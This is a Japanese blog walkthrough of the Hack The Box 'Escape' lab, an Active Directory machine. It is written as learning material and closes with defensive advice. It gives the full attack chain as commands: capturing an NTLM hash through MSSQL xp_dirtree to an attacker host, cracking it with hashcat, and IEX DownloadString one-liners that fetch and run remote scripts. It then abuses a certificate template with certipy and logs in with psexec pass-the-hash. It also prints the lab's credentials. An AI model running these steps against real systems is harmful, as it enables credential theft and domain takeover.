0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HTB: Escape (Medium) Writeup-ish

Last updated at Posted at 2023-06-24

Hack the Box(HTB) EscapeのWriteupになります。
image.png

TL;DR

以下の知識が必要となります。
- Windows Active Directory脆弱性検証の知識
- impacketツールの知識
- ADCS脆弱性の知識
- (オプション)シルバーチケット脆弱性の知識

Initial Recon

nmapの結果は以下になります。

nmap -sC -sV -oA nmap/init $RHOST -Pn

nmapの結果をグレップして見やすくしました。
image.png
88ポートや389ポートがあるのでADのボックスだと分かります。
詳細のnmapの結果を見ると、以下のようなドメインの情報が分かります。

ssl-cert: Subject: commonName=dc.sequel.htb
Domain: sequel.htb0
DNS:dc.sequel.htb

SSL/ldap (636/3269)

詳細分析の前にSSLの証明書が存在しないか見に行きます。
https://sequel.htb:3269/
image.png
sequel-DC-CAが見つかりました。おそらくこのADはADCAもインストールされていると想像します。

SMB (445)

crackmapexecを利用します。ユーザ名やパスワードはわからない前提で、色々試します。

# @Kali
export RHOST=<Your Target IP address> 
crackmapexec smb $RHOST
crackmapexec smb $RHOST --shares
crackmapexec smb $RHOST -u '' -p ''
crackmapexec smb $RHOST -u '' -p '' --shares
crackmapexec smb $RHOST -u 'anyuser' -p '' --shares

実行結果は以下になります。一番最後のコマンドで、'Public'が読み込めることがわかります。
image.png
smbmapでも試してみます。

# @Kali 
smbmap -u null -p "" -H $RHOST -P 445 2>&1

実行結果は以下になります。同じくPublicのファイル共有が見えています。
image.png
ディレクトリアクセスは、smbclientを利用します。

# @Kali 
smbclient //$RHOST/Public/ -N -L
> ls

実行結果は以下になります。PDFファイルが見えます。ダウンロードします。
image.png
mgetのコマンドを使います。

# @kali
> mget *

実行結果は以下になります。ダウンロード出来ました。
image.png

PDF

Firefoxで開いてみます。

# @Kali
firefox 'SQL Server Procedures.pdf'

実行結果は以下になります。ユーザ名とパスワード(らしき)ものが見つかりました。
image.png
PublicUser: GuestUserCantWrite1
PDFを読んでいると、MSSQLにアクセスするときのクレデンシャルなのではと推測できます。

mssqlclient (1433)

MSSQLにアクセスしてみます。mssqlclientを利用します。

# @Kali
mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@$RHOST 

以下が実行結果になります。ただし次のアクションにヒントになるデータは見つかりませんでした。
image.png

次の一手

ここが最初の関門でしょうね。どうするか?次のポートに移るのか、それともMSSQLでどうにかするのか?ここでアイデアがないようでは次には進めません。Pentestingは時間の制約を受けますので、煮詰まった時に、次のアイデアが多い方が有利になります。
- LDAPクエリーでユーザ等を探す。
- RCP通信でユーザを探す
- ケルベロス通信で、ユーザを探して見る。ただし、ブルートフォース攻撃は最後の一手とする。
- その他...

hacktricks

このサイトで、MSSQLの次の一手を確認します。
https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server
関連の情報は以下のように、Responderを立ち上げて、xp_dirtreeを実行します。
image.png

Responder

AD脆弱性検証の基本は、(機能の脆弱性を探すのと同じぐらい)ユーザ名とパスワードを集めることが肝心なので、Responderを動かしてみて、Net-NTLMv2ハッシュが取得できるか試してみます。

# @Kali
sudo responder -I tun0   

実行結果は以下になります。
image.png
MSSQLに接続して、Kaliへファイル共有を試します。

# @kali 
mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@$RHOST
>Exec xp_dirtree '\\10.10.14.26\anyshare', 1, 1

そうすると、ResponderがNet-NTLMv2のハッシュ値を取得できました。

Crack Hash

ハッシュデータをファイルに保存しています。コマンドは割愛しています。
image.png
hashcatでクラックしてみました。

# @kali 
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

実行結果は以下になります。パスワードがクラック出来ました。
image.png
新しいユーザとパスワードは以下になります。
sql_scv:REGGIE1234ronnie

Access to AD again

新しいIDとパスワード(sql_scv:REGGIE1234ronnie)で再度、アクセスしてみます。

crackmapexec smb $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie'
crackmapexec smb $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie' --shares
crackmapexec mssql $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie'
crackmapexec winrm $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie'

最後のコマンドで、winrmを利用し、ログオンできることがわかりました。smbでのファイル共有はあまり変わっていませんが、IPC$等が読めるようになっています。Write権限ではないので、psexecは利用できません。
image.png

Evil-winrm

evil-winrmコマンドでログオンしてみます。

# @kali 
evil-winrm -i '10.129.228.253' -u 'sql_svc@sequel.htb'

実行結果は以下になります。
image.png
ログオンできました。User.txtがないか物色しましたが、このユーザにはありませんでした。したがって、他のユーザにアクセスする必要があります。
image.png
Ryan.Cooperが気になります。

次の一手

2番目の関門がここでしょうね。ここからどうするか? winpeas,adpeas,bloodhoundを実行して、何か脆弱性がないかを探ります。何もなければSQL_SVCでアクセスできるディレクトリとファイルを調べてみます。MSSQLサーバも試します。

winpeas

# @ad
.\winPEASany.exe

実行結果は以下になります。
image.png
何も見つけられませんでした。

adpeas

# @ad
IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.X/privesc/adPEAS.ps1')
Invoke-adPEAS

以下が実行結果です。
image.png
証明書テンプレートは以下になります。
image.png
しかし、脆弱性に関するものは、何も見つけられませんでした。

PrivescCheck

# @ad
iex (new-Object Net.WebClient).DownloadString('http://10.10.14.26/privesc/PrivescCheck.ps1');Invoke-PrivescCheck -Extended

以下が実行結果です。
image.png
何も見つけられませんでした。

Local Enumeration

C:に移動してみます。
image.png
SQLServerが見えます。
image.png
このファイルを見てみます。
image.png
おそらくRyan.Cooperのパスワードでしょう。
sequel.htb\Ryan.Cooper: NuclearMosquito3

Evil-winrm 2

evil-winrmコマンドでログオンしてみます。

# @kali 
evil-winrm -i '10.129.228.253' -u 'Ryan.Cooper@sequel.htb'

以下が実行結果です。
image.png
ログインできました。

adpeas again

# @ad
IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.X/privesc/adPEAS.ps1')
Invoke-adPEAS

以下が実行結果です。
image.png
証明書のテンプレートに脆弱性がありそうです。

certipyで脆弱性検査

証明書のテンプレートの脆弱性をcertipyを利用して調べてみます。

# @kali
certipy find -u Ryan.Cooper -p NuclearMosquito3 -target sequel.htb -text -stdout -vulnerable

実行結果が以下になります。
image.png
次の画面を見てみると、UserAutehnticationのテンプレートを利用して、
image.png
ドメインユーザが他のユーザを利用した証明書を発行できるようです。

Administrator管理者の証明書を発行

AdministratorのUPNを持つ証明書を発行してみます。

certipy req -u Ryan.Cooper -p NuclearMosquito3 -target sequel.htb -upn Administrator@sequel.htb -ca sequel-DC-CA -template UserAuthentication

実行結果は以下になります。
image.png
administrator.pfxが見えます。証明書を発行できたようです。(エラーが出ればもう一度実行する必要があるかもしれません。)

TGT発行

さて次何をするかですが、証明書からTGTを取得出来ます。

certipy auth -pfx administrator.pfx

以下が実行結果です。
image.png
発行できたようです。sudo ntupdate を実行する必要があります。
よく見ると、ハッシュ値が取得出来ています。

Psexecでログイン

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee Administrator@10.129.228.253 cmd.exe

以下が実行結果です。
image.png
system権限を取得できました。

終わりに

ADCSの証明書テンプレートの脆弱性は任意のユーザのドメイン認証を可能にする危険性があるので、Tier0と同じ扱いで、オペレーションするようにしましょう。

対策等は以下の資料が詳しいです。
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?